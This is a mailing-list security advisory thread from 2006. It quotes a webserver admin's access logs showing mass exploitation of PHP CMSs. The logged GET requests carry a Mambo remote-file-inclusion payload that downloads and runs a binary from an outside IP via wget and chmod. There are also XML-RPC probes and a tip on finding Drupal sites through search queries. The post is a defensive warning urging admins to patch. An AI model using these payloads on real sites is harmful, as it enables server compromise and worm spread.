This is a mambo based exploit. There are linux based worm variants which compromise an site running a vulnerable version of Mambo and then execute a malicious perl script which in turns attempts to exploit remote sites.
Harry > -------- Original Message -------- > Subject: [Full-disclosure] PHP-based CMS mass-exploitation > From: "Daniel Bonekeeper" <[EMAIL PROTECTED]> > Date: Tue, March 07, 2006 8:56 am > To: bugtraq@securityfocus.com, [EMAIL PROTECTED], > [EMAIL PROTECTED], full-disclosure@lists.grok.org.uk, > [EMAIL PROTECTED] > > This is not the first time that we see those kind of "attacks", but on > the recent days, I've noticed those requests on my webservers with a > considerable frequency: > > 83.84.14X.XXX - - [06/Mar/2006:18:18:12 -0500] "GET > /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo| > HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:13 -0500] "GET > /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo| > HTTP/1.1" 200 10110 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows > NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:14 -0500] "GET > /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo| > HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:15 -0500] "GET > /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo| > HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:17 -0500] "GET > /articles/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo| > HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:18 -0500] "GET > /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo| > HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:19 -0500] "POST /xmlrpc.php > HTTP/1.1" 200 375 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:20 -0500] "POST /blog/xmlrpc.php > HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:21 -0500] "POST > /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 > (compatible; MSIE 6.0; Windows NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:22 -0500] "POST > /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 > (compatible; MSIE 6.0; Windows NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:23 -0500] "POST > /drupal/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; > MSIE 6.0; Windows NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:25 -0500] "POST > /phpgroupware/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 > (compatible; MSIE 6.0; Windows NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:26 -0500] "POST > /wordpress/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; > MSIE 6.0; Windows NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:27 -0500] "POST /xmlrpc.php > HTTP/1.1" 200 375 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:28 -0500] "POST > /xmlrpc/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; > MSIE 6.0; Windows NT 5.1;)" > 83.84.14X.XXX - - [06/Mar/2006:18:18:29 -0500] "POST > /xmlsrv/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; > MSIE 6.0; Windows NT 5.1;)" > > > All of them, as we can see, are exploitation attempts to known bugged > pages (like the newest Mambo bug, the old XMLRPC problem with old > versions of Drupal, etc). I guess that they are getting a list of > domain names and trying them out with those vulns, and I believe that > they may already have some thousands of vuln machines in their hands. > Such attacks might been enhanced by using Google to guess which > domains are using which CMS... for example, looking on Google for "A > password and instructions will be sent to this e-mail address, so make > sure it is accurate." will return a bunch of Drupal websites (88,500 > according to Google, even though we can see just the first 1000 ones). > > This is just an advise for all admins that use those CMS, to keep, as > always, your CMS updated (almost every two weeks there are new vulns > disclosed), and also, check if you already got caught by that, if > you're running old software. > > -- > # (perl -e "while (1) { print "\x90"; }") | dd of=/dev/evil > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. 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